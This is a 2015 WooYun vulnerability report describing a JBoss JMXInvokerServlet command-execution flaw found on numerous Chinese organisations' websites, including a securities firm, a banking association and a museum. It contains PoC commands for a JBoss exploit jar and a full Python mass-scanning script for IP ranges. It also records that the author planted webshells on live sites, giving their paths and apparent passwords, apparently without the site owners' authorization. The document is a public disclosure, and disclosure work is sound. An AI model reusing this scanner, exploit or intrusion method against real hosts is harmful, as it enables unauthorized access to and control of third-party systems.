当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0140223

漏洞标题:新时代证券等大量网站系统存在命令执行漏洞(附探测脚本)

相关厂商:多个厂商

漏洞作者: xk0n

提交时间:2015-09-15 16:15

修复时间:2015-11-01 16:00

公开时间:2015-11-01 16:00

漏洞类型:命令执行

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-09-15: 细节已通知厂商并且等待厂商处理中
2015-09-17: cncert国家互联网应急中心暂未能联系到相关单位,细节仅向通报机构公开
2015-09-27: 细节向核心白帽子及相关领域专家公开
2015-10-07: 细节向普通白帽子公开
2015-10-17: 细节向实习白帽子公开
2015-11-01: 细节向公众公开

简要描述:

简单使用zoomeye示例。
多个网站包括新时代证券,中国银行业协会,贵州大学科技学院,山西博物馆,和其他多个不知名网站
最后附上探测脚本

详细说明:

其实是一个老洞了,Jboss 的JMXInvokerServlet未删除导致的命令执行,因为学python就想批量一下试试。废话不多说,看zoomeye关键字

jboss servlet country:China


2015-09-10 15:47:42屏幕截图.png


有1072个相关记录,我使用了前10页中的90多个记录测试
96个IP

**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**


探测结果:

2015-09-10 15:52:15屏幕截图.png


给出PoC列表

poc: ./jboss_exploit_fat.jar -i http://**.**.**.**:8080/invoker/JMXInvokerServlet get jboss.system:type=ServerInfo OSName
poc: ./jboss_exploit_fat.jar -i http://**.**.**.**/invoker/JMXInvokerServlet get jboss.system:type=ServerInfo OSName
poc: ./jboss_exploit_fat.jar -i http://**.**.**.**:8080/invoker/JMXInvokerServlet get jboss.system:type=ServerInfo OSName
poc: ./jboss_exploit_fat.jar -i http://**.**.**.**/invoker/JMXInvokerServlet get jboss.system:type=ServerInfo OSName
poc: ./jboss_exploit_fat.jar -i http://**.**.**.**/invoker/JMXInvokerServlet get jboss.system:type=ServerInfo OSName
poc: ./jboss_exploit_fat.jar -i http://**.**.**.**:8080/invoker/JMXInvokerServlet get jboss.system:type=ServerInfo OSName
poc: ./jboss_exploit_fat.jar -i http://**.**.**.**/invoker/JMXInvokerServlet get jboss.system:type=ServerInfo OSName
poc: ./jboss_exploit_fat.jar -i http://**.**.**.**/invoker/JMXInvokerServlet get jboss.system:type=ServerInfo OSName
poc: ./jboss_exploit_fat.jar -i http://**.**.**.**/invoker/JMXInvokerServlet get jboss.system:type=ServerInfo OSName
poc: ./jboss_exploit_fat.jar -i http://**.**.**.**:8080/invoker/JMXInvokerServlet get jboss.system:type=ServerInfo OSName
poc: ./jboss_exploit_fat.jar -i http://**.**.**.**:8081/invoker/JMXInvokerServlet get jboss.system:type=ServerInfo OSName
poc: ./jboss_exploit_fat.jar -i http://**.**.**.**:8080/invoker/JMXInvokerServlet get jboss.system:type=ServerInfo OSName


IP对应情况:

**.**.**.**:8080          无名
**.**.**.** "请使用IE浏览" 。。。server 2008 r2
**.**.**.** 无名 shell error
**.**.**.**:8080 未知
**.**.**.** 新时代证券 **.**.**.**
**.**.**.**:8080 中国银行业协会 shell
**.**.**.** 无名
**.**.**.** 贵州科技大学
**.**.**.** 山西博物馆
**.**.**.**:8080 无名welcome to jboss
**.**.**.**:8080 welcome to jboss
**.**.**.**:8081 未知

漏洞证明:

2015-09-10 16:05:52屏幕截图.png


有一半可以shell,
山西博物馆:
**.**.**.**/test/test.jsp hkmjj

2015-09-10 16:10:16屏幕截图.png


贵州科技大学也可以shell,但是我的shell被删除了,但是源头被没有解决,invoker/JMXInvokerServlet 任然没有删除,可以继续拿shell
其他shell:
**.**.**.**/ttwy/wy.jsp exp
**.**.**.**/toolbox/wy.jsp exp
**.**.**.**/nin/wy.jsp exp
还有一些是只能执行命令的,没拿shell,还有一些没有尝试拿shell,有点累。。
最后附上脚本:

#!/usr/bin/env python
# -*- coding=utf-8
# Jboss JMXInvokerServlet 批量探测脚本
# usage: ./invoker_assassin.py ipfile.lst
# ipfile.lst 中保存要批量探测的IP列表,支持CIDR方式
# By xk0n 2015.09.10
import sys
from itertools import product
import ipaddress
import time
from multiprocessing.dummy import Lock, Pool as ThreadPool
import requests
class assassin:
def __init__(self, ipfile, thread_num, ports, path):
self.ipfile = open(ipfile, 'r')
self.thread_num = thread_num
self.ports = ports
self.vuls = set()
self.path = path
self.lock = Lock()
self.headers = {
"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:40.0) Gecko/20100101 Firefox/40.0"}
def _urls(self):
for line in self.ipfile:
line = line.strip()
for ip in ipaddress.ip_network(unicode(line), strict=False):
for port in self.ports:
if port == 80:
yield 'http://%s/%s' % (ip, self.path)
else:
yield 'http://%s:%s/%s' % (ip, port, self.path)
def run(self, url):
vul = False
try:
r = requests.get(
url, headers=self.headers, timeout=10, allow_redirects=False)
if r.status_code == 200:
if r.headers['content-type'].count('serialized') or r.headers['Content-Type'].count('serialized'):
self.lock.acquire()
print '[+] maybe vul: %s' % url
print ' poc: ./jboss_exploit_fat.jar -i %s get jboss.system:type=ServerInfo OSName' % url
self.vuls.add(url)
self.lock.release()
vul = True
return vul
else:
return vul
except:
return vul
def multi_assasin(self):
start = time.time()
uri = self._urls()
pool = ThreadPool(self.thread_num)
results = pool.map(self.run, uri)
pool.close()
pool.join()
with open('result_vuls.lst', 'a') as f:
for _ in self.vuls:
f.write(_+'\n')
print '%s\ttotal vuln site: %s \n used %.2f minutes' % (time.ctime(), len(self.vuls), (time.time()-start)/60.0)
if __name__ == '__main__':
ports = [80, 8080, 8081, 8082, 8088, 8888]
thread_num = 10
path = 'invoker/JMXInvokerServlet'
with open(sys.argv[1]) as f:
counts = 0
port_count = len(ports)
for _ in f:
index = 32-int(_.strip().split('/')[1]) if '/' in _ else 0
counts += (2**index)*port_count
print '%s\t\t %s ips| %s cases |%s threads' % (time.ctime(), counts/port_count, counts, thread_num)
j = assassin(sys.argv[1], thread_num, ports, path)
j.multi_assasin()

修复方案:

删除invoker/JMXInvokerServlet ?!

版权声明:转载请注明来源 xk0n@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2015-09-17 15:59

厂商回复:


CNVD确认并复现所述情况,已经转由CNCERT向证券业信息化主管部门通报,由其后续协调网站管理单位处置.

最新状态:

暂无